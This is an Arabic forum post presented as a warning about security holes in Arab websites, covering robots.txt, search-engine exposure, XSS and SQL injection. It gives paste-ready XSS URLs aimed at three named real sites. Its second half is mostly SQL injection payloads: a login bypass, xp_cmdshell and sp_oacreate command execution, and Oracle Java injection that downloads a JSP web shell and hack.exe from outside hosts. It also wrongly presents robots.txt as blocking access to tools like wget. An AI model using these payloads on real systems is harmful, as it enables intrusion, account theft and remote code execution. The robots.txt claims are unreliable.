السلام عليكم ,,, تغيبت فتره عن المنتدى لإنشغالي بكتابه اداة وهي عباره عن برنامج فلتره البيانات بين المستخدم وسيرفر الويب ,,, وبعد ان انتهيت من البحث في هذا الموضوع توصلت لنتيجه غايه في الخطورة ؟!! وهي أن أكثر من 90% من تطبيقات المواقع العربيه توجد بها ثغرات أمنيه . لا تعتقد اني خرفت ,,, تابع الموضوع - دائما نرى المواقع العربيه , عباره عن تطبيقات جاهزة مثل المجله والمنتديات وبرامج البحث وهذا الي ستر على مواقعنا من الإختراق وقلل مستوى الخطورة . - المهم انا تجاهلت هذة المواقع وقمت بالبحث في المواقع التي تحتوي على الأقل على تطبيق برمجي واحد مكتوب من قبل الموقع , مثل سجل الزوار والبحث و تحميل الصور وإرسال الإيميل والقائمة البريدية........ - ولقيت ان أكثرمن 90% من هذة التطبيقات بها أخطاء برمجية وثغرات أمنية وبالتأكيد لكي أثبت كلامي مطلوب أمثلة تطبيقية ,, ونبدأ بالأكثر إنتشار. - - اولاً : خطأ أو ثغرة robots ملف robots يمكن يكون غريب علينا وأول مره نسمع عنه,, ولكنه معروف في المواقع العالميه وإستخدامه شغله اساسيه لأمن المواقع ,كما تلاحظ http://www.ibm.com/robots.txt http://www.securiteam.com/robots.txt http://www.google.com/robots.txt .... هذا الملف من إسمه robots.txt يستخدم لتوجيه مايعرف بالربوت او الرجل الآلي؟! او مايعرف بأخطبوط الشبكه ,, وهي عبارة عن محركات ضخمه مثل محرك جوجل ومحركات تتبع بيانات الشبكات netcraft.com وتقييم المواقعwebhosting.info تستخدم لفهرسه كل صفحة في الموقع ,, من خلال هذا الملف تستطيع ان تخبر هذا robots اي المجلدات يفهرس وأي الصفحات ممنوع ان يقترب منها ؟؟ وهنا الخطأ تجد كل محتوى المواقع العربيه بما فيها الصفحات السرية بداخل محركات البحث - بعطيك مثال ,, اغلب المواقع بها صفحات وخدمات لا يمكن الوصول لها إلى بعد التسجيل في الموقع شو رايك إذا قلت يمكن الدخول لها بكل بساطه من خلال محرك البحث جوجل في خيارات البحث المتقدم في جوجل حدد البحث في الموقع المحدد فقط وفي خانة البحث إطبع المسافه؟ يعني بس إضغط على مفتاح المسافه في لوحه التحكم وشوف نتائج البحث كل صفحات الموقع بما فيها الممنوع والمسموح دخولها - نقطه ثانيه: لكل لغه برمجه معرف خطأ او رقم الخطأ والجمله التي يظهرها السيرفر مثل لو حدث خطأ في سيرفر الأوراكل يظهر معرف الخطأ التالي : JBO-27122 وبدورنا نقوم بالبحث عن اي معرف خطأ في الموقع من خلال جوجل لتظهر كود الخطأ نفسه - اما الشغله الأخطر فهي منع برامج تحميل الباكدور أو الشل كود في السيرفر برامج التحميل المستخدمه في الأنظمة هي الطريقة التي يستخدمها مخترقي الأنظمة لتحميل أي ملف للسيرفر مثلا في نظام الوندوز يستخدم البرنامج tftp وفي أنظمة اليونكس يستخدم البرانامج wget وبدورنا ومن خلال ملف robots نستطيع منع الوصول لأي ملف بهذه الأسماء wget,ls,tftp,dir وغيرها... وبهذا نكون فهمنا فائدة ملف robots ,, لمزيد من المعلومات حول هذا الملف .. http://www.robotstxt.org/wc/faq.html / / / ثانياً: ثغرات Cross-Site Scripting و XSS في المواقع العربية هذا النوع من الثغرات عبارة عن إدخال كود html وتنفيذة من خلال المتصفح دائما ترى في المنتديات وغيرها برنامج لتعطيل أكواد html هذا البرنامج ينقص اغلب تطبيقات الويب العربيه تعمل لغه html على تنفيذ اي امر بين القوسين <...> ولذلك يعتر القوس < بلوك الكود التنفيذي بعطيك مثال ,, الكود التالي عبارة عن شفرة تنفيذية لصفحة html <script>alert('Msg');</script> نفس الكود السابق يكتب بهذا الشكل ليتحول من كود تنفيذي إلى بيانات فقط <script>alert('Msg');</script> جرب إفتح كود اي صفحة html وأكتب اول جمله ,, وبعد ذلك جرب الجمله الثانيه لترى الفرق المهم هذا التحويل من الصيغه الأولى إلى الصيغه الثانيه ,, يعرف بتعطيل أكواد html وهذه الطريقه غير موجودة في أضخم المواقع العربيه ,,, وبذلك تكون ثغرات Cross-Site Scripting يمكن إستغلالها لسرقه حساب المدير عن طريق الكوكيز.... وهذة امثله على هذا النوع من الثغرات في المواقع العربيه ملاحظة : إنسخ العنوان والصقة في المتصفح وبعد ذلك قم بالتنفيذ ,, لكي تعمل الثغرة بشكل صحيح
http://search.ayna.com/cgi-bin/search.cgi?q=</TITLE><script>alert('JAAS~~~Hack');</script>---------------http://directory.naseej.com/servlet/Directory?interfacelang=1&defaulttype=0&type=2&sitelang=2&service=arabsite&submit=++&words=%3Cscript%3Ealert('jaas~~~hack');%3C/script>------------------http://www.arab1000.com/cgi-bin2/rank/search.cgi?key=<script>alert('JAAS~~~attack');</script>
var username= Request.form("user");var password = Request.form("password");
Select * from Users where USR ='" + username + "' and PSW='" +password +'";
Select * from Users where USR ='jaas' and PSW='123456';
Select * from Users where USR ='jaas' and PSW='123456' OR 1=1;--';
exec master..xp_cmdshell 'dir'
http://www.xxx.com/test.asp?user=jaas&password=123456 ';exec master..xp_cmdshell 'dir'; --
http://www.xxx.com/test.asp?user=jaas&password=123456'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe';--
String username = request.getParameter("user");String password = request.getParameter("password");String SQLQuery = "SELECT Username FROM Users WHERE USR= "+ username + "' AND PSW = '" + password + "'";
Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");
http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 authid current_user as pragma autonomous_transaction;SqlCommand VARCHAR2(2048);BEGIN SqlCommand := 'CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" ASimport java.lang.*;import java.io.*;public class ExecuteOS{public static void execOSCmd () throws IOException, java.lang.InterruptedException{Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");}';execute immediate SqlCommand; SqlCommand := 'CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)AS LANGUAGE JAVANAME ''ExecuteOS.execOSCmd (java.lang.String)'';'; execute immediate SqlCommand;execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';commit; return END;EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');SET SERVEROUTPUT ONCALL dbms_java.set_output(1999);EXEC sys.proc_executeos (); --
http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2authid current_user as pragma autonomous_transaction; SqlCommand VARCHAR2(2048);BEGIN SqlCommand := 'CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" ASimport java.lang.*;import java.io.*;public class FileUpload { public static void fileUpload(String myFile, String url) throws Exception { File binaryFile = new File(myFile); FileOutputStream outStream = new FileOutputStream(binaryFile); java.net.URL u = new java.net.URL(url); java.net.URLConnection uc = u.openConnection(); InputStream is = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (is)); byte buffer[] = new byte[1024]; int length = -1; while ((length = is.read(buffer)) != -1) { outStream.write(buffer, 0, length); outStream.flush(); } is.close(); outStream.close(); } };'; execute immediate SqlCommand; SqlCommand := 'CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)AS LANGUAGE JAVANAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';'; execute immediate SqlCommand; execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT'; commit; return ''; END;SET SERVEROUTPUT ONCALL dbms_java.set_output(1999);EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe'); --